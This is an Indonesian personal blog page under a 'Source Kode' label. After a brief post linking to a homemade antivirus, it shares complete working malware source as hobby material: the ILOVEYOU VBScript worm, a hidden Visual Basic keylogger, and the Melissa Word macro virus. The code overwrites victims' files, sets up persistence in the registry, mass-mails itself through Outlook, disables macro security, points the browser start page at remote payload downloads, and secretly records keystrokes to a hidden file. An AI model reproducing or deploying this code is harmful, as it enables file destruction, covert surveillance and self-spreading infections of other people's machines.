Agus Sunyoto: Source Kode

Tampilkan postingan dengan label Source Kode. Tampilkan semua postingan

Senin, 22 November 2010

Source Code Wedash Antivirus ( Buatannya mas Aat Sadewa)

Wedash Anti Virus 2005 (WAV) adalah program untuk mendeteksi dan menangani virus lokal ataupun luar yang telah tersebar luas. Program ini freeware, anda dapat mengupdate sendiri virus listnya tanpa harus mendonlot dari internet jika anda menemukan virus baru. Anda dapat mendonlot WAV 2005 exe-nya, installer dan update (signatures.db). Selain itu ada dokumentasi untuk menjalankan program WAV tersebut berbentuk .doc. Dalam waktu dekat akan dirilis atau dibagikan source code WAV untuk dikembangkan secara massal (rame rame mas!)

Di Album Cyber kita bisa membuat antivirus wedash, dengan mendownload codenya disini:

Free Download (Kode Wedash Antivirus)

Senin, 04 Januari 2010

Salam Virus Mania!!!

Temen2 da yang mau source kode Virus I Love You Ga??! Ya udah,, mau ga mau ne udah tak posting! HEHEHEHEHE . . .

rem barok -loveletter(vbe) <i hate go to school>

rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /

Manila,Philippines

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32

",dirsystem&"\MSKernel32.vbs"

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi

n32DLL",dirwin&"\Win32DLL.vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj

w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe

546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm

POhfgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh

YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX

.exe"

end if

end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI

X",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start

Page","about:blank"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&"\")

end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

ext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")

or (ext="hta") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\"&bname&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.CreateTextFile(f1.path&".vbs")

mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2

end if

if (eq<>folderspec) then

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or

(s="script.ini") or (s="mirc.hlp") then

set scriptini=fso.CreateTextFile(folderspec&"\script.ini")

scriptini.WriteLine "[script]"

scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,

if mIRC will"

scriptini.WriteLine " corrupt... WINDOWS will affect and will not run

correctly. thanks"

scriptini.WriteLine ";"

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";"

scriptini.WriteLine "n0=on 1:JOIN:#:{"

scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"

scriptini.WriteLine "n2= /.dcc send $nick

"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

scriptini.WriteLine "n3=}"

scriptini.close

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell")

regedit.RegWrite regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("WScript.Shell")

regget=regedit.RegRead(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)

if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)

if (regad="") then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

male.Send

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"

end if

x=x+1

next

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

else

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META

NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _

"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?

@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _

"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is

good...@-@>"&vbcrlf& _

"<?-?HEAD><BODY

ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

-#,#-#main#-#)@-@ "&vbcrlf& _

"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read

this HTML file<BR>- Please press #-#YES#-# button to Enable

ActiveX<?-?p>"&vbcrlf& _

"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@

BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>

"&vbcrlf& _

"<?-?BODY><?-?HTML>"&vbcrlf& _

"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _

""&vbcrlf& _

"<?-?SCRIPT>"&vbcrlf& _

"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _

""&vbcrlf& _

"<?-?SCRIPT>"

dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")

dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")

dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")

dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")

dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")

dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")

dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")

dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")

set fso=CreateObject("Scripting.FileSystemObject")

set c=fso.OpenTextFile(WScript.ScriptFullName,1)

lines=Split(c.ReadAll,vbcrlf)

l1=ubound(lines)

for n=0 to ubound(lines)

lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))

lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))

if (l1=n) then

lines(n)=chr(34)+lines(n)+chr(34)

else

lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"

end if

next

set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")

b.close

set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)

d.write dt5

d.write join(lines,vbcrlf)

d.write vbcrlf

d.write dt6

d.close

end sub

Minggu, 03 Januari 2010

Source Kode Keylogger!

Salam Black Trik Mania!!!!

Monggo disedot source kode Kode Key logger nya .. . hehehhe . ..

= code mulai ==========================

‘simpan file hasil compile dg nama regsvc32.exe

‘form

‘simpan dg nama FRMLOG.frm

Option Explicit

Private Declare Sub Sleep Lib “kernel32″ (ByVal dwMilliseconds As Long)

Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer

Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib “advapi32.dll” Alias “RegSetValueExA” (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Function RegisterServiceProcess Lib “kernel32″ (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long

Private Declare Function GetCurrentProcessId Lib “kernel32″ () As Long

Private sAppName As String

Private Const REG_SZ = 1

Private Const LOCALMACHINE = &H80000002

Private Const RSP_SIMPLE_SERVICE = 1

Private Const RSP_UNREGISTER_SERVICE = 0

Private Const VK_BACK = &H8

Private Const VK_CONTROL = &H11

Private Const VK_SHIFT = &H10

Private Const VK_TAB = &H9

Private Const VK_RETURN = &HD

Private Const VK_MENU = &H12

Private Const VK_ESCAPE = &H1B

Private Const VK_CAPITAL = &H14

Private Const VK_SPACE = &H20

Private Const VK_SNAPSHOT = &H2C

Private Const VK_UP = &H26

Private Const VK_DOWN = &H28

Private Const VK_LEFT = &H25

Private Const VK_RIGHT = &H27

Private Const VK_MBUTTON = &H4

Private Const VK_RBUTTON = &H2

Private Const VK_LBUTTON = &H1

Private Const VK_PERIOD = &HBE

Private Const VK_COMMA = &HBC

Private Const VK_NUMLOCK = &H90

Private Const VK_NUMPAD0 = &H60

Private Const VK_NUMPAD1 = &H61

Private Const VK_NUMPAD2 = &H62

Private Const VK_NUMPAD3 = &H63

Private Const VK_NUMPAD4 = &H64

Private Const VK_NUMPAD5 = &H65

Private Const VK_NUMPAD6 = &H66

Private Const VK_NUMPAD7 = &H67

Private Const VK_NUMPAD8 = &H68

Private Const VK_NUMPAD9 = &H69

Private Const VK_F9 = &H78

Private Const VK_F8 = &H77

Private Const VK_F7 = &H76

Private Const VK_F6 = &H75

Private Const VK_F5 = &H74

Private Const VK_F4 = &H73

Private Const VK_F3 = &H72

Private Const VK_F2 = &H71

Private Const VK_F12 = &H7B

Private Const VK_F11 = &H7A

Private Const VK_F10 = &H79

Private Const VK_F1 = &H70

Private Sub LoadTextFile()

On Error GoTo dlgerror

If Len(App.Path) <= 3 Then

Open App.Path & “settings.ini” For Input As #1

Line Input #1, sAppName

Close

Else

Open App.Path & “\settings.ini” For Input As #1

Line Input #1, sAppName

Close

End If

If sAppName = vbNullString Then

sAppName = “regsvc32″

End If

Exit Sub

dlgerror:

sAppName = “regsvc32″

End Sub

Private Sub SAVEDLL()

Dim nSaveLocation As String

On Error GoTo dlgerror

If Len(App.Path) <= 3 Then

Open App.Path & sAppName & “.dll” For Append As #1

nSaveLocation = App.Path & sAppName & “.dll”

GoTo READY

Else

Open App.Path & “\” & sAppName & “.dll” For Append As #1

nSaveLocation = App.Path & “\” & sAppName & “.dll”

GoTo READY

End If

READY:

If txtLOGGED.Text = vbNullString Then

Exit Sub

End If

Print #1, Time & ” ” & Date & vbCrLf & “Size: ” & Format(FileLen(nSaveLocation) / 1000000, “.0″) & ” MB” & vbCrLf & “*** PROGRAMS OPENED ***” & vbCrLf & vbCrLf & txtENUMERATE.Text & vbCrLf & vbCrLf & txtLOGGED.Text & vbCrLf & vbCrLf

Close

Close

Close

SetAttr nSaveLocation, vbHidden

Exit Sub

dlgerror:

Err.Clear

Exit Sub

End Sub

Private Sub Form_Load()

On Error Resume Next

Call LoadTextFile

Me.Caption = sAppName

Me.Visible = False

App.TaskVisible = False

App.Title = sAppName

ENTERREGISTRY

RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE

End Sub

Private Sub ENTERREGISTRY()

Dim nKey As Long

RegCreateKey LOCALMACHINE, “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, nKey

If Len(App.Path) <= 3 Then

RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & App.EXEName & “.exe”, Len(App.Path & App.EXEName & “.exe”)

Else

RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & “\” & App.EXEName & “.exe”, Len(App.Path & “\” & App.EXEName & “.exe”)

End If

End Sub

Private Sub Form_Unload(Cancel As Integer)

Cancel = True

Call SAVEDLL

ENTERREGISTRY

Unload Me

End

End Sub

Private Sub tmrCAPTION_Timer()

On Error Resume Next

Me.Caption = sAppName

Me.Visible = False

App.TaskVisible = False

App.Title = False

RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE

End Sub

Private Sub tmrLOG_Timer()

On Error Resume Next

Dim nKey, nChar As Integer

Dim nText As String

For nChar = 1 To 255

nKey = GetAsyncKeyState(nChar)

If nKey = -32767 Then

nText = Chr(nChar)

If nChar = VK_BACK Then

nText = ” {B.S} ”

ElseIf nChar = VK_CONTROL Then

nText = ” {CTRL} ”

ElseIf nChar = VK_SHIFT Then

nText = ” {SHIFT} ”

ElseIf nChar = VK_TAB Then

nText = ” {TAB} ”

ElseIf nChar = VK_RETURN Then

nText = ” {ENTER} ”

ElseIf nChar = VK_MENU Then

nText = ” {ALT} ”

ElseIf nChar = VK_ESCAPE Then

nText = ” {ESC} ”

ElseIf nChar = VK_CAPITAL Then

nText = ” {CAPS} ”

ElseIf nChar = VK_SPACE Then

nText = ” {SP.B} ”

ElseIf nChar = VK_UP Then

nText = ” {UP} ”

ElseIf nChar = VK_LEFT Then

nText = ” {LEFT} ”

ElseIf nChar = VK_RIGHT Then

nText = ” {RIGHT} ”

ElseIf nChar = VK_DOWN Then

nText = ” {DOWN} ”

ElseIf nChar = VK_F1 Then

nText = ” {F1} ”

ElseIf nChar = VK_F2 Then

nText = ” {F2} ”

ElseIf nChar = VK_F3 Then

nText = ” {F3} ”

ElseIf nChar = VK_F4 Then

nText = ” {F4} ”

ElseIf nChar = VK_F5 Then

nText = ” {F5} ”

ElseIf nChar = VK_F6 Then

nText = ” {F6} ”

ElseIf nChar = VK_F7 Then

nText = ” {F7} ”

ElseIf nChar = VK_F8 Then

nText = ” {F8} ”

ElseIf nChar = VK_F9 Then

nText = “{F9}”

ElseIf nChar = VK_F10 Then

nText = ” {F10} ”

ElseIf nChar = VK_F11 Then

nText = ” {F11} ”

ElseIf nChar = VK_F12 Then

nText = ” {F12} ”

ElseIf nChar = VK_SNAPSHOT Then

nText = ” {PRINT SCRN} ”

ElseIf nChar = VK_RBUTTON Then

nText = ” {R.B} ”

ElseIf nChar = VK_LBUTTON Then

nText = ” {L.B} ”

ElseIf nChar = VK_MBUTTON Then

nText = ” {M.B} ”

ElseIf nChar = VK_PERIOD Then

nText = “.”

ElseIf nChar = VK_COMMA Then

nText = “,”

ElseIf nChar = VK_NUMLOCK Then

nText = ” {NUMLCK} ”

ElseIf nChar = VK_NUMPAD0 Then

nText = “0″

ElseIf nChar = VK_NUMPAD1 Then

nText = “1″

ElseIf nChar = VK_NUMPAD2 Then

nText = “2″

ElseIf nChar = VK_NUMPAD3 Then

nText = “3″

ElseIf nChar = VK_NUMPAD4 Then

nText = “4″

ElseIf nChar = VK_NUMPAD5 Then

nText = “5″

ElseIf nChar = VK_NUMPAD6 Then

nText = “6″

ElseIf nChar = VK_NUMPAD7 Then

nText = “7″

ElseIf nChar = VK_NUMPAD8 Then

nText = “8″

ElseIf nChar = VK_NUMPAD9 Then

nText = “9″

End If

txtLOGGED.Text = txtLOGGED.Text + nText

End If

Next

Call GetActiveWindowName

End Sub

Private Sub tmrSAVE_Timer()

Call SAVEDLL

txtLOGGED.Text = vbNullString

txtENUMERATE.Text = vbNullString

End Sub
====code end ===========

============code mulai ============

‘module visual basic

‘simpan dg nama mdlActiveWindow.bas

Option Explicit

Public Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Declare Function GetForegroundWindow Lib “user32″ () As Long

Public Declare Function GetClassName Lib “user32″ Alias “GetClassNameA” (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

Public nCAPTION As String

Public nTESTER As Long

Public nClass As String

Public Sub GetActiveWindowName()

nCAPTION = Space(256)

nClass = Space(256)

GetWindowText GetForegroundWindow, nCAPTION, Len(nCAPTION)

GetClassName GetForegroundWindow, nClass, Len(nClass)

If nTESTER = GetForegroundWindow Then Exit Sub

FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbCrLf & Time & ” ” & nCAPTION

FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbTab & nClass

nTESTER = GetForegroundWindow

End Sub

============= code end =============

/* ——————————|EOF|—————————— */

sumber : spyrozone.net
###############################################################

Sabtu, 02 Januari 2010

Source Kode Virus Melisa

Salam virus MAnia!!!! yuk klo mo otak atik belajar pemrograman Virus! ne tak kasih Suorce kode virus Melisa!!

Private Sub AutoOpen()

On Error Resume Next

p$ = "clone"

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then

CommandBars("Macro").Controls("Security...").Enabled = False

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

Else

p$ = "clone"

CommandBars("Tools").Controls("Macro").Enabled = False

Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

p$ = "clone"

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"

End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then _

ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then _

NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = ""

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")

Do While ADI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

p$ = "clone"

If DoAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) = ""

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")

Do While NTI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then

ActiveDocument.Saved = True: End If

'WORD/Melissa written by Kwyjibo

'Clone written by Duke/SMF

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

End Sub